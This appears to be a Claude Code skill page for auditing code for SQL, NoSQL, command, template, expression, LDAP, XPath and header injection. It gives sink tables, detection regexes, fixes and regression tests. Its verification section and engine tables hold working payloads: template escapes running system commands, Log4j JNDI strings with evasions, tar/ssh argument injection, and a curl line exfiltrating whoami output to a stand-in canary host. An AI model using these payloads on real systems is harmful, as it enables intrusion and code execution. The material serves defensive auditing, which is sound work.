Audits codebases for injection vulnerabilities across SQL, NoSQL, OS command, template, LDAP, XPath, and header injection using static taint tracing. Provides remediation guidance and exploitability ratings.
Ships in Aegis Skills. Installing the plugin adds it to Claude Code.
What the skill costs in Claude's context, stage by stage
Name and description: Claude knows it exists.
SKILL.md joins the conversation and stays.
Read when SKILL.md points to them.
Zero-background primer: the terms this module uses, one line each. Deeper plain-language explanations for every class live in the repository GUIDE.md glossary.
Every injection is one bug class: attacker-controlled data crosses a language boundary and changes the meaning of a program artifact (a query, a command line, a template, an expression, a header block). Trace three roles:
+, f-strings, %/.format, template literals ${}, StringBuilder.append, fmt.Sprintf, sprintf, #{} interpolation, CONCAT, storage-then-reuse.execute, child_process, template parse/render, eval/EL parser, LDAP/XPath evaluator, header writer.The sink's context grammar determines the break-out sequence:
| Sink context | Grammar boundary | Break-out primitive |
|---|---|---|
| SQL string literal | ' or " | ' OR '1'='1 / '; -- |
| SQL numeric context | unquoted | 1 OR 1=1 / 1;-- |
| SQL identifier (ORDER BY/table/column) | cannot be parameterized | allowlist only |
| Shell command line (shell=true) | ` $ ; ` | & >` newline |
| argv array (no shell) | argument parser flags | leading -/-- tokens |
| Template body | {{ }} {% %} ${} <% %> | {{7*7}} |
| Expression language | expression delimiters | T(...), %{...}, #{...} |
| MongoDB filter object | keys beginning with $ | {"$gt":""} |
| LDAP filter (RFC 4515) | * ( ) \ NUL | * / `)(uid=))( |
| XPath 1.0 predicate | ' " [ ] | ' or '1'='1 |
| HTTP header value / log line | CR LF | %0d%0a / \n |
Detection vs exploitation: during a static audit you prove constructability — show attacker bytes reach the sink unneutralized and predict the observable effect (delay, error string, data diff, out-of-band callback). Fire live payloads only against authorized staging/lab instances.
Second-order rule: the database is a propagator. A value stored safely today can be concatenated into SQL/logs/templates next week. Trace sinks back to origin, not to the nearest variable.
+, f-strings, %, .format, template literals, StringBuilder, sprintf, #{}.raw()/extra(); SQLAlchemy text(); Sequelize literal()/query(); Knex .raw(); TypeORM .query() and Prisma $queryRawUnsafe; Hibernate createSQLQuery/createNativeQuery; Spring Data @Query(nativeQuery=true); JdbcTemplate; GORM Raw/Order; Rails find_by_sql/Arel.sql; Laravel DB::raw/whereRaw/orderByRaw; EF Core FromSqlRaw.%/_ and without an ESCAPE clause.execute, .replace(":id", x) placeholder substitution, IN-lists joined from raw values, LIMIT/OFFSET string-bound then fallback-concatenated.NFC) before allow-list checks, or attackers slip NFD/fullwidth variants past a denylist that later collapse into dangerous characters downstream (same lesson as FILE's filename normalization, applied to every validated field).req.body/req.query objects directly into mongoose find/findOne/updateOne/countDocuments — operator injection ($gt, $ne, $regex, $where, $function).?user[$ne]=x) from $_GET/$_POST into Mongo filters.$where/$function/$accumulator anywhere — server-side JavaScript; user influence is critical.eval/EVALSHA) built by concatenation, and user-controlled key names crossing tenant prefixes._find selectors and _view startkey/endkey/keys params for raw user JSON widening reads past tenant boundaries.exec/execSync/spawn(shell:true); Python os.system/os.popen/subprocess(shell=True); PHP system/exec/passthru/shell_exec/proc_open/popen/backticks; Ruby backticks/system(str)/IO.popen/Kernel#open("|cmd")/%x{}; Java Runtime.exec(String); C# Process with UseShellExecute=true; Go exec.Command("sh","-c",...).- or --.sudo, tar, find, git, ssh, curl, rsync, zip, pagers — enumerate which flags the attacker controls.render_template_string, Jinja2 Environment.from_string, django.template.Template(text), Mako Template(text), Twig createTemplate, Smarty string: resources, FreeMarker processing user-named templates, Velocity evaluate(...), Thymeleaf user-controlled view names, ERB ERB.new(user).result, Handlebars/Mustache compile of user strings, Liquid Template.parse(user).SandboxedEnvironment, FreeMarker restricted wrappers, Twig sandbox, Smarty $security_policy) for weak allowances.eval, new Function, exec, compile, vm.runIn*, instance_eval, send, constantize, call_user_func, assert (PHP string form pre-8.0), create_function (removed PHP 8.0), preg_replace(/e) (removed PHP 7.0), ScriptEngine.eval, GraalVM Context.eval, CSharpScript.str.format calls whose format string is user-owned (mail merge, notifications, i18n) for attribute-chain escape ({0.__class__}).SpelExpressionParser + StandardEvaluationContext fed request data; Struts OGNL evaluation of %{...} from input; InitialContext.lookup(userUrl).text/template output rendered as HTML and template.HTML(userInput) casts; html/template contextual autoescaping is the safe default.DirContext.search, ldapjs, PHP ldap_search, go-ldap, .NET DirectorySearcher..xpath, javax.xml.xpath, DOMXPath->query, .NET XPathSelectElements) for predicates assembled from input.* ( ) \ NUL) or XPath variable bindings exist wherever filters/predicates are dynamic.Location, Set-Cookie, Refresh, custom), redirect targets, and hand-rolled socket writing.%0d%0a pass-through at proxies/gateways (app frameworks usually block it; intermediaries historically did not).addslashes, magic_quotes remnants, keyword str_replace blacklists, htmlentities used against SQL, FILTER_SANITIZE_STRING, client-side-only validation, WAF-only protection, escapeshellarg under cmd.exe, client-side $-key stripping for MongoDB without schema casting.| Feature / route smell | Typical locations | Likely injection |
|---|---|---|
Search/list endpoints with sort, order, filter, q params | controllers, views.py, *_controller.rb, JAX-RS/Spring resources | SQL identifier injection |
| Login / password reset / token validation | auth services, models/User*, AccountController | SQLi, NoSQL auth bypass, LDAP |
| Export / reporting / CSV / PDF generation | exporters, reports, admin panels | second-order SQLi, command injection |
| Admin CRUD with table/column choosers | generic grid components, dashboards | identifier SQLi |
| Upload → thumbnail/convert pipeline | media services, celery/sidekiq/bull tasks | command injection (ImageMagick et al.) |
| Webhook receivers, importers, ETL workers | webhooks/, integrations/, jobs/ | second-order SQLi, template/eval |
| Mail/notification templating, mail-merge | templates/, notifiers | SSTI, Python format-string, EL injection |
| Redirectors, OAuth callbacks, locale routers | redirect controllers, gateway configs | CRLF/header injection, Thymeleaf view-name SSTI |
| Directory lookup / SSO / AD sync | LDAP connectors | LDAP injection |
| XML import/export, SOAP clients, SAML-lite parsers | xml utils | XPath injection |
| Deploy/git/release tooling, CI-trigger endpoints | ops endpoints, git wrappers | command + argument injection (git, tar, find) |
| Audit/access logging of user input | middleware, interceptors, logger.* calls | log injection, Log4shell-style JNDI |
Discovery sweeps (repo root):
rg --files -g '*.py' -g '*.rb' -g '*.php' -g '*.go' -g '*.java' -g '*.kt' -g '*.cs' -g '*.ts' -g '*.js'
rg -n "sort|orderBy|order\(|direction" --type js --type py -g '!node_modules' -g '!*test*'
rg -n "exec|system|popen|spawn|Process" -g '!node_modules' -g '!vendor' -g '!dist'
rg -n "render_template_string|from_string|ERB.new|Velocity|Freemarker|Twig|Smarty" -g '!vendor'
| Language | Dangerous API/Sink | Safe alternative |
|---|---|---|
| JS/TS (mysql2/pg) | conn.query("..."+x), template literals with ${} | conn.query("... = ?", [x]) / $1 binds |
| JS/TS (Sequelize) | sequelize.literal(x), sequelize.query("..."+x) | { replacements: [x] } named binds |
| JS/TS (Knex) | .whereRaw("..."+x), .orderByRaw(x) | .where(col,x); allowlist map + .orderBy(col) |
| JS/TS (TypeORM) | .query("..."+x), $queryRawUnsafe(x), $executeUnsafe | $queryRaw tagged template (auto-bind), QueryBuilder |
| JS/TS (Prisma) | $queryRawUnsafe, $executeUnsafe | $queryRaw tagged template |
| JS/TS (mongoose) | Model.where("$where", js), raw body filters | scalar-cast filters; sanitizeFilter: true |
| Python (DBAPI) | cur.execute("...%s" % x), execute(f"...{x}") | cur.execute("...%s", (x,)) or ? (sqlite3) |
| Python (Django) | objects.raw(f"..."), extra(where=[... % x]), .extra(select=...) | ORM filters; raw(sql, params=[x]) if unavoidable |
| Python (SQLAlchemy) | text(f"... {x}") | text("... :p").bindparams(p=x) |
| Java (JDBC) | Statement.executeQuery("..."+x) | PreparedStatement + setString/setInt |
| Java (JPA/Hibernate) | createNativeQuery("..."+x), deprecated createSQLQuery, HQL concat | positional/named params (?1, :p) |
| Java (Spring Data) | @Query(nativeQuery=true) with concat; Sort.by(rawParam) | :param binds; allowlisted Sort.by(col) |
| Java (Spring Jdbc) | JdbcTemplate.query("..."+x, ...) | NamedParameterJdbcTemplate |
| C# (ADO.NET) | new SqlCommand("..."+x, cn) | Parameters.AddWithValue("@p", x) |
| C# (EF Core) | FromSqlRaw($"...{x}") (raw ignores interpolation) | FromSqlInterpolated($"...{x}") auto-parameterizes |
| C# (Dapper) | cn.Query($"... {x}") | cn.Query("... = @p", new { p = x }) |
| PHP (raw) | $pdo->query("...".$x), query(sprintf(...)) | prepare + execute([$x]); PDO::ATTR_EMULATE_PREPARES => false |
| PHP (Laravel) | DB::select(DB::raw(...)), whereRaw($req), orderByRaw($req) | Query Builder where; allowlist + orderBy($col) |
| PHP (Doctrine) | createNativeQuery concat, DQL concat | DQL :param binds |
| Ruby (Rails) | find_by_sql("...#{x}"), where("n = '#{x}'"), order(Arel.sql(param)), update_all("c=#{x}") | where(n: x); find_by_sql([sql, x]); allowlisted symbols in order |
| Go (database/sql) | db.Query(fmt.Sprintf("...'%s'", x)), db.Exec("..."+x) | db.Query("... = $1", x) |
| Go (GORM) | db.Raw("..."+x), db.Where(fmt.Sprintf(...)), unvalidated db.Order(input) | db.Where("col = ?", x); allowlist for Order |
Dynamic-identifier signature — flag every hit:
(?i)(from|join|order\s+by|group\s+by|table|column)\s*['"`]?\s*(\+\s*\w+|\$\{|#\{|\.format\(|f["']|%s)
LIKE defect shape and fix:
-- VULNERABLE: user q spliced into pattern, wildcards live
SELECT * FROM items WHERE name LIKE '%' || :q || '%'; -- Postgres concat example
-- FIXED: escape wildcards in application code, declare escape char
SELECT * FROM items WHERE name LIKE :p ESCAPE '\';
-- app side: :p = "%" + q.replace(/\[%_\\]/g, "\\$&") + "%"
Dialect notes for exploitation prediction:
| Dialect | Comment | Delay primitive | Stacked queries | Notes |
|---|---|---|---|---|
| MySQL/MariaDB | -- -, # | SLEEP(5), BENCHMARK(5000000,MD5(1)) | only via multi_query API or PDO emulate-prepares ON | backtick identifiers; information_schema; LOAD_FILE needs FILE priv |
| PostgreSQL | -- | pg_sleep(5) | accepted in simple-query mode by libpq-based drivers | double-quote identifiers; :: casts; COPY ... PROGRAM needs superuser |
| MSSQL | -- | WAITFOR DELAY '0:0:5' | yes — most drivers batch by default | [bracket] identifiers; verbose errors; xp_cmdshell often disabled |
| SQLite | -- | no sleep builtin (randomblob(N) loops) | multi-statement via exec-style APIs | terse errors; ATTACH DATABASE file-write trick |
Parameterization-done-wrong gallery (each is vulnerable despite looking safe):
cur.execute("SELECT * FROM u WHERE id = %s" % uid) // VULNERABLE formatted before driver sees it
cur.execute("SELECT * FROM u WHERE id = %s", (uid,)) // FIXED
db.query(sql.replace(":id", req.params.id)); // VULNERABLE hand-made placeholder
db.query("...id IN (" + ids.map(_=>"?").join(",") + ")", ids); // FIXED placeholders generated, values bound
ps = c.prepareStatement("SELECT * FROM u WHERE n = '" + n + "'"); // VULNERABLE pre-concatenated
ps = c.prepareStatement("SELECT * FROM u WHERE n = ?"); // FIXED
Second-order tell: sink string parts originate from model.getAttribute(...), row["name"], ORM-loaded entities — not from the current request.
(\$where|\$function|\$accumulator|\$regex)|\$ne\s*:|\bfind(?:One)?\s*\(\s*(req\.body|req\.query|request\.(GET|POST)|\$_(GET|POST))
// VULNERABLE: body object used as filter verbatim -> {"email":{"$gt":""},"password":{"$ne":1}}
const u = await User.findOne({ email: req.body.email, password: req.body.password });
// FIXED: coerce to scalars; enable sanitizeFilter at connection or per query
const email = String(req.body.email ?? "");
const pw = String(req.body.password ?? "");
const u = await User.findOne({ email }).select("+password");
if (!u || !(await u.comparePassword(pw))) return res.status(401).end();
// plus: mongoose.set("sanitizeFilter", true)
?email[$ne]=1&password[$regex]=^a turns $_GET['email'] into an array; flag uncast forwarding.r.eval("return redis.call('get','"..k.."')") — Lua injection; pass user data as ARGV/KEYS. User-controlled key suffixes crossing tenant prefixes = broken access control; note alongside._find selectors and _view?key=/startkey=/endkey= built from raw user JSON — range widening leaks other tenants.(?i)(child_process\.exec|execSync|spawnSync\(|shell:\s*true|shell\s*=\s*True|os\.(system|popen)|(system|passthru|shell_exec|proc_open|popen)\s*\(|%x\{|Runtime\.getRuntime\(\)\.exec|UseShellExecute\s*=\s*true|IO\.popen|Open3\.capture2?\w*\(|exec\.Command\("sh",\s*"-c")
Matrix (Language | Dangerous API/Sink | Safe alternative):
| Language | Dangerous API/Sink | Safe alternative |
|---|---|---|
| JS/TS | child_process.exec, execSync, spawn(cmd,{shell:true}), execa shell mode | execFile/spawn argv array, shell:false, timeout |
| Python | os.system, os.popen, subprocess.*(cmd_str, shell=True) | subprocess.run([...], shell=False, check=True) |
| Java/Kotlin | Runtime.exec(String) whitespace-split (arg-injectable) | ProcessBuilder(List); still validate flags |
| C# | Process.Start with UseShellExecute=true (.NET Framework default true; .NET Core default false) | ArgumentList, UseShellExecute=false |
| PHP | system, exec, passthru, shell_exec, `cmd`, proc_open string cmd, popen | fixed binary + per-operand escaping, or argv-array proc_open |
| Ruby | backticks, %x{}, system(str), IO.popen(str), `Kernel#open(" | cmd")` |
| Go | exec.Command("sh","-c", input) | exec.Command(bin, args...) — stdlib never uses a shell |
Argument-injection without a shell — dangerous "safe" wrappers:
| Wrapper | Attack surface | Guard |
|---|---|---|
sudo <tool> <userArgs> | flag injection executes as root | allowlist every arg; reject --leading tokens where an operand is expected; prefer purpose-built helper running unprivileged |
tar | --checkpoint=1 --checkpoint-action=exec=<cmd> (root RCE if wrapper privileged) | fixed option set; validate member names; drop privileges |
find | -exec cmd ;, -fprintf /path file | reject all --prefixed user tokens; build the expression yourself |
git clone/fetch/push on user URL | ext::sh -c <cmd> transport | pin -c protocol.ext.allow=never; allow only https/ssh schemes |
ssh with user-controlled host/options | -oProxyCommand=sh -c ... | never pass user data as options; use ssh library APIs |
curl/wget | -o /etc/cron.d/x overwrite, -K configfile read | fixed output paths; scheme restrictions (--proto); reject --leading args |
rsync, zip, less pager | -e remote-shell option, --unzip-command, pager !cmd | argv allowlist; PAGER=cat; GIT_PAGER=cat |
(?i)(render_template_string|from_string|createTemplate|ERB\.new|VelocityEngine|freemarker|Twig\\?->|Environment\\?->createTemplate|Smarty|Thymeleaf|Liquid::Template|Handlebars\.compile|Mustache\.render|\.process\(|evaluate\(.*input)
| Engine | Detection payload | Proves engine when output shows | Brief escape (lab only) |
|---|---|---|---|
| Jinja2 | {{7*'7'}} | 7777777 | {{ lipsum.__globals__.os.popen('id').read() }} |
| Jinja2 alt probe | {{7*7}} | 49 | {{ cycler.__init__.__globals__.os }} |
| Twig | {{7*7}} | 49 | older Twig <=2.x: {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} |
| Mako | ${7*7} | 49 | <%import os%>${os.popen('id').read()} (full Python in expressions) |
| Django templates | {{7*7}} | literal text (no arithmetic) | weak: attribute traversal on exposed vars (settings leak); still flag Template(user_text) |
| Smarty | {$smarty.version} | version string | {if system('id')}{/if} when security policy off |
| FreeMarker | ${7*7} | 49 | <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} unless scripts restricted |
| Velocity | #set($x=7*7)$x | 49 | #set($s="")#set($c=$s.getClass())$c.forName("java.lang.Runtime").getRuntime().exec("id") |
| Thymeleaf | __${7*7}__ in view/fragment name | preprocessing resolves | __${T(java.lang.Runtime).getRuntime().exec('id')}__::.x when view name is user-controlled |
| ERB | <%= 7*7 %> | 49 | <%= system('id') %> |
| Liquid | `{{ 7 | times: 7 }}` | 49 |
Key audit distinction: render_template("page.html", name=user_input) is data binding (safe); render_template_string(user_input) / Template(user_input).render() is code execution (vulnerable).
(?i)(\beval\s*\(|new\s+Function\s*\(|runIn(New|This)Context|instance_eval|constantize|call_user_func|create_function|preg_replace\s*\(.*/e|assert\s*\(\s*"|SpelExpressionParser|StandardEvaluationContext|OGNL|ScriptEngineManager|getEngineByName|polyglot\.Context|CSharpScript|InitialContext\s*\(|\.lookup\s*\()
Concrete sinks and payloads (Language/lib | Sink | Illustrative payload | Safe replacement):
| Language/lib | Sink | Illustrative payload | Safe replacement |
|---|---|---|---|
| Node | eval(s), new Function(s), vm.runInNewContext(s) | require('child_process').exec('id') inside s | schema + dispatch table; note vm is NOT a security boundary |
| Python | eval, exec, compile | __import__('os').system('id') | ast.literal_eval; mapping tables |
| Python | fmt.format() with user-owned format string | {0.__init__.__globals__}[SECRET_KEY] | never let user own format string; concatenate instead |
| Java | SpelExpressionParser + StandardEvaluationContext | T(java.lang.Runtime).getRuntime().exec('id') | SimpleEvaluationContext (no type refs/beans) or remove parser |
| Java | InitialContext.lookup(url) | attacker-chosen ldap://host/o | hardcode registry URLs; strict allowlist |
| Log4j <=2.14.1 | logger.info(userStr) | ${jndi:ldap://host/x}; evasions ${${lower:j}ndi:ldap://host/x}, ${${::-j}ndi:${::-l}dap://host/x} | upgrade >=2.17.1; disable message lookups |
| Struts/OGNL | value-stack/tag evaluation of input | %{@java.lang.Runtime@getRuntime().exec('id')} | upgrade framework; never evaluate input as OGNL |
| Jakarta EL | EL resolver over user text | ${Runtime.getRuntime().exec('id')} (context-dependent) | treat input as text only |
| Ruby | eval, send(m,...), constantize on request data | send(:eval, s) | whitelist maps: HANDLER = {"a"=>method(:a)} |
| PHP | eval, assert("...") string form (<=7.x), create_function (removed 8.0), preg_replace(/e) (removed 7.0) | eval($_GET['c']) | remove; dispatch tables |
| C# | CSharpScript.EvaluateAsync(user) (Microsoft.CodeAnalysis.CSharp.Scripting) | script calling System.Diagnostics.Process.Start | remove scripting; restricted host policy |
| GraalVM | Context.newBuilder("js").allowAllAccess(true).eval(src) | JS host access into JVM | minimal allowHostAccess, never allowAllAccess |
| Go | text/template rendered as HTML; template.HTML(userInput) | crafted data invoking template funcs/methods | html/template contextual escaping; never mark raw |
Deserialization-adjacent eval: flag pickle.loads, yaml.load without Loader=SafeLoader, PHP unserialize of request data, Java native readObject — they reach code execution like eval; report under this category's CWE-94 umbrella with a cross-reference.
(?i)(ldap_(search|list|read|bind|first_attribute)|DirectorySearcher|DirContext|SearchControls|ldapjs|XPathFactory|xPath\.evaluate|XPath\.compile|DOMXPath|XPathSelectElement|\.xpath\s*\()
conn.search(BASE, "(uid=%s)" % uid) // VULNERABLE payload: *)(uid=*))(|(uid=*
conn.search(BASE, "(uid=%s)" % rfc4515_escape(uid)) // FIXED escape * ( ) \ NUL
XPathFactory.newInstance().newXPath().evaluate("//user[name='" + u + "']", doc); // VULNERABLE
// FIXED: xpath.compile("//user[name=$u]") + XPathVariableResolver binding
Blind probes (boolean differential): LDAP x)(cn=a* vs x)(cn=b*; XPath ' and starts-with(name(),'a') and '1'='1.
(\\r\\n|%0d%0a|%0D%0A)|(?i)((set|add|append|put)Header\s*\(\s*["'](Location|Refresh|Set-Cookie)|writeHead\([^)]*\+|header\s*\(\s*["'](Location|Refresh))
res.setHeader, PHP header() (>=5.1.2), most frameworks reject bare CR/LF — hunt instead: hand-written sockets, mail-header assembly, reverse-proxy layers, embedded HTTP servers, values flowing unvalidated into Location: redirects.logger.info(request.headers["user-agent"])-style calls; payload \n2026-01-01 INFO auth success user=admin forges entries. Fix: structured JSON logging + control-char stripping.| Broken "sanitizer" | Why it fails | Correct control |
|---|---|---|
addslashes (PHP) | GBK/Big5 multibyte: lead byte 0xbf swallows added backslash leaving live quote (%bf%27 bytes) | PDO/mysqli prepared statements; correct charset in DSN, not via SET NAMES query |
| magic_quotes_* (PHP <=5.3, removed 5.4) | blanket escaping, wrong contexts | delete legacy shims |
str_replace("'","",x) / keyword blacklists | deletion enables double-application tricks (SELSELECTECT -> SELECT after naive removal) | parameterization |
htmlentities/htmlspecialchars against SQL | wrong layer; encodes HTML grammar, not SQL | parameterization |
FILTER_SANITIZE_STRING (deprecated) | lossy, grammar-blind | typed validation + binding |
escapeshellarg under cmd.exe | quoting semantics differ; %VAR%, ^, delayed expansion survive | avoid cmd.exe; argv arrays |
client-side $-key stripping for Mongo | misses dotted keys/type confusion; middleware gaps | schema coercion + sanitizeFilter |
| WAF-only protection | double URL-encoding (%2527), JSON unicode escapes, chunked encoding, HPP, dialect quirks bypass it | detective control only; never sole defense |
JS x.replace(/['"]/g,"") | context-insensitive munging | parameterization |
PHP loose comparison (==, in_array($x, $arr) non-strict) | '0e123' == '0e456' is true (magic-hash style: both parse as scientific-notation zero, so such digest strings collide under ==); int-vs-string juggling pre-8.0 also miscompares | strict ===/!==; in_array(..., true); hash_equals() for digests |
Run this procedure per candidate flow:
req.query/body/params/headers/cookies; Flask request.values; Django request.GET/POST; Spring @RequestParam/@PathVariable/@RequestBody; Servlet getParameter*; PHP $_GET/$_REQUEST/php://input; Rails/Sinatra params[...]; Go r.URL.Query()/r.FormValue; GraphQL resolver args; queue/webhook payloads; uploaded filenames and content; DB-read values (second-order).${}/#{}/f-strings), format calls, StringBuilder/StringBuffer, Array.join, JSON serialization into query objects, ORM pass-through wrappers (literal, Raw, Arel.sql, $queryRawUnsafe), storage round-trips.source(file:line) -> propagators -> sink(file:line) -> context -> predicted effect; this feeds Severity Assessment and Verification.Execute ONLY against authorized staging/lab targets. Each step states goal, exact command, expected observable. Static-only engagements: use the static-confirmation subsection at the end.
curl -si -G https://TARGET/items --data-urlencode "q=x'" → Expect a 500 with a driver error string (SQLite3::SQLException, You have an error in your SQL syntax, unterminated quoted string, Unclosed quotation mark) proving grammar control; benign identical output means move on.curl -s -G TARGET/search --data-urlencode "q=x' AND '1'='1" | wc -c versus "q=x' AND '1'='2" → differing byte counts prove conditional evaluation.q=x' AND SLEEP(5)-- -; PostgreSQL: q=x'; SELECT pg_sleep(5)--; MSSQL: q=x' WAITFOR DELAY '0:0:5'--.
Measure: curl -s -o /dev/null -w '%{time_total}\n' -G TARGET/search --data-urlencode "q=x' AND SLEEP(5)-- -" → ~5.0s vs ~0.05s baseline across 3 runs = confirmed.q=x'; EXEC master..xp_cmdshell 'ping -n 5 127.0.0.1'-- → 5s delay indicates OS-command surface (requires xp_cmdshell enabled + sysadmin role).q=x' UNION SELECT NULL, table_name FROM information_schema.tables-- - → schema names in output; iterate columns the same way.curl -s -X POST TARGET/login -H 'Content-Type: application/json' -d '{"email":{"$gt":""},"password":{"$ne":"zzz"}}' → 200/session cookie where credentials were required = bypass. Extraction oracle: {"password":{"$regex":"^a"}} cycling characters, watching 200/401 flips per guess.$where: submit {"$where":"var d=Date.now()+5000;while(Date.now()<d){};true"} → ~5s response delay confirms JS execution inside mongod.report.tar.gz; sleep 5, backticks report`sleep 5`.gz, substitution report$(sleep 5).gz, newline-encoded report%0asleep%205.
curl -s -o /dev/null -w '%{time_total}\n' -F "file=report.tar.gz;sleep 5" TARGET/upload → ~5s delay with no egress required.x; curl http://CANARD.oob.example/$(whoami) → canary DNS/HTTP hit containing whoami output confirms execution and exfil channel.--checkpoint=1 --checkpoint-action=exec=/bin/id to a tar wrapper, or -oProxyCommand=curl CANARD.oob.example into an ssh wrapper → canary callback / observed process = critical confirmation.{{7*7}} (and engine variants from the SSTI table) into rendered fields → arithmetic result (49, 7777777) rendered proves template evaluation; escalate with that engine's escape row only on isolated instances. Expected observable: computed value appears in page body where text was expected.T(java.lang.Thread).sleep(5000) (SpEL timing oracle) then T(java.lang.Runtime).getRuntime().exec('touch /tmp/pwn'); OGNL %{@java.lang.Thread@sleep(5000)}. Expected: delay, then /tmp/pwn exists / process visible.curl -si TARGET/ -H 'X-Api-Version: ${jndi:ldap://CANARD.oob.example/x}' (repeat for User-Agent and form fields; try ${${lower:j}ndi:...} obfuscation) → canary LDAP/DNS hit confirms lookup resolution.curl -si "TARGET/redirect?url=%0d%0aSet-Cookie:%20injected=1" → response carries Set-Cookie: injected=1 header = header injection. Also test literal \r\n, bare %0a, and repeat through the gateway hostname (intermediaries differ from app behavior).probe\nFAKE-ERROR auth-failure user=admin → pull logs; a forged line boundary confirms CWE-117 exposure.* (wildcard match → login succeeds for first entry) or admin)(& (filter parse failure → distinct error) confirms injection. XPath login: password ' or '1'='1 against predicate [name='U' and pw='P'] returns all users → bypass.cursor.execute to record SQL; stub child_process).', ", ; -- , {{7*7}}, ${jndi:ldap://x/a}, {"$ne":1}, $(id), --checkpoint-action=exec=id, %0d%0aX: y.Node + Express (mysql2):
// VULNERABLE
const sql = `SELECT * FROM users WHERE name = '${req.query.name}' ORDER BY ${req.query.sort}`;
db.query(sql);
// FIXED
const SORTS = { name: "last_name", created: "created_at" }; // FIXED
const col = SORTS[String(req.query.sort)]; // FIXED
if (!col) return res.status(400).json({ error: "bad sort" }); // FIXED
db.query("SELECT * FROM users WHERE name = ? ORDER BY " + col, [String(req.query.name)]); // FIXED
Python + Django:
# VULNERABLE
cur.execute(f"SELECT id, title FROM app_note WHERE owner = '{owner}'")
notes = Note.objects.extra(where=["title LIKE '%%%s%%'" % q])
# FIXED
cur.execute("SELECT id, title FROM app_note WHERE owner = %s", [owner]) # FIXED
notes = Note.objects.filter(title__icontains=q) # FIXED
Note.objects.raw("SELECT * FROM app_note WHERE owner = %s", [owner]) # FIXED if raw unavoidable
Java + Spring:
// VULNERABLE
List<User> out = jdbc.query("SELECT * FROM users WHERE last = '" + last + "'", MAPPER);
Page<User> p = repo.findAll(PageRequest.of(page, size, Sort.by(request.getParameter("sort"))));
// FIXED
List<User> out = jdbc.query("SELECT * FROM users WHERE last = ?", MAPPER, last); // FIXED
Sort s = ALLOWED.containsKey(sort) ? Sort.by(ALLOWED.get(sort)) : Sort.unsorted(); // FIXED
Page<User> p = repo.findAll(PageRequest.of(page, size, s)); // FIXED
PHP (PDO + Laravel):
// VULNERABLE
$rows = $pdo->query("SELECT * FROM users WHERE name = '" . $_GET['name'] . "'");
User::orderByRaw($request->input('sort'))->get();
// FIXED
$st = $pdo->prepare("SELECT * FROM users WHERE name = :name"); // FIXED
$st->execute([":name" => (string)$_GET["name"]]); // FIXED
$map = ["name" => "name", "date" => "created_at"]; // FIXED
User::orderBy($map[$request->input("sort")] ?? "name")->get(); // FIXED
// Node — VULNERABLE
exec(`convert ${userPath} out.png`);
// FIXED
execFile("convert", [path.basename(userPath), "out.png"], { timeout: 10000 }, cb); // FIXED
# Python — VULNERABLE
subprocess.run(f"tar czf {dst} {src}", shell=True)
# FIXED
subprocess.run(["tar", "czf", dst, "--", src], shell=False, check=True, timeout=60) # FIXED
// Java — VULNERABLE
Runtime.getRuntime().exec("tar czf " + dst + " " + src);
// FIXED: ProcessBuilder + reject '-'-leading user tokens when operand expected
new ProcessBuilder(List.of("tar", "czf", dst, "--", src)).start(); // FIXED
// PHP — VULNERABLE
system("tar czf {$dst} {$src}");
// FIXED: argv array without shell; every operand validated/escaped appropriately
$cmd = ["tar", "czf", $dst, "--", basename($src)]; // FIXED
proc_open($cmd, $desc, $pipes); // FIXED
Wrapper guards: pin git -c protocol.ext.allow=never; never let user data become an ssh/curl/rsync option; run converters under a dedicated unprivileged OS account with no sudo rights; set PAGER=cat.
// VULNERABLE
User.findOne({ email: req.body.email });
// FIXED
const email = String(req.body.email ?? ""); // FIXED
User.findOne({ email }, null, { sanitizeFilter: true }); // FIXED
Ban $where/$function in application code; Redis Lua receives user data only via ARGV/KEYS, never string-built scripts; CouchDB selectors validated against a fixed field allowlist before _find.
render_template("hi.html", name=q); delete render_template_string(q) paths.SandboxedEnvironment, FreeMarker restricted object wrappers with ?new banned, Twig sandbox whitelists, Smarty $security_policy enabled — and re-threat-model escapes each release..format strings with concatenation or string.Template (no attribute access).SimpleEvaluationContext (blocks T() type refs and beans) or remove the parser entirely; upgrade Struts; upgrade Log4j >=2.17.1 with message lookups disabled.InitialContext.lookup only with hardcoded/allowlisted URLs.* ( ) \ NUL); prefer library helpers such as PHP ldap_escape(..., LDAP_ESCAPE_FILTER).$name) bound via resolver (Java XPath, lxml kwargs support this); never string-assemble predicates.%0d/%0a) in any header-bound or redirect-target value; use framework redirect APIs plus scheme/host allowlists.EMULATE_PREPARES=false).SLEEP/WAITFOR/pg_sleep patterns and anomalous latencies.GIVEN/WHEN/THEN cases (staging/lab):
| Given | When | Then |
|---|---|---|
/search?q= fixed with bound params | q=x' AND SLEEP(5)-- - | latency ≈ baseline (<0.3s delta), no 500 |
| Same endpoint | q=o'brien (legit apostrophe) | row "O'Brien" returned, no error (negative test) |
/items?sort= fixed with allowlist | sort=name;DROP TABLE items-- | 400 or fallback column; items table intact |
Login fixed with coercion + sanitizeFilter | body {"email":{"$gt":""},"password":{"$ne":1}} | 401; zero sessions issued |
Export switched to execFile argv | filename report;id | no uid= output anywhere; clean exit code |
Legit filename my report 2026.pdf | passes converter | converts successfully (usability retained) |
| Renderer switched to data binding | input {{7*7}} | literal text displayed; never 49 |
| Redirect fixed with CR/LF rejection | url=%0d%0aSet-Cookie:%20inj=1 | no injected header in response |
| Structured log pipeline | UA containing \n | single JSON event; no forged line |
| LDAP filter RFC4515-escaped | user * then admin)(& | literal uid lookup; no wildcard match, no parse error |
| XPath variable binding deployed | password ' or '1'='1 | authentication still requires real match |
Regression-test pseudocode:
PAYLOADS = ["x'", "x' AND '1'='2", "{{7*7}}", "${jndi:ldap://x/a}", '{"$ne":1}',
"; sleep 5", "$(id)", "--checkpoint-action=exec=id", "%0d%0aX: y",
"*)(&", "' or '1'='1"]
@pytest.mark.parametrize("p", PAYLOADS)
def test_injection_regression(p):
r = client.post("/api/search", json={"q": p, "sort": p, "file": p})
assert r.status_code != 500
assert elapsed(r) < 1.0 # no time-based channel
assert extracted_template_result(r) != "49" # SSTI inertness
assert table_intact("items") # no stacked-query damage
def test_legit_still_works():
r = client.post("/api/search", json={"q": "o'brien", "sort": "date", "file": "my report.pdf"})
assert r.status_code == 200 and r.json()["hits"] >= 1
Manual re-test checklist:
Re-run these signatures post-fix (expect hits only inside closed allowlist maps):
(?i)\.(raw|literal|whereRaw|orderByRaw|query)\s*\(\s*[`"'][^`"'"]*(\$\{|\+)
(?i)(execute|query|exec)\s*\(\s*(f["']|[^)]*"\s*\+)
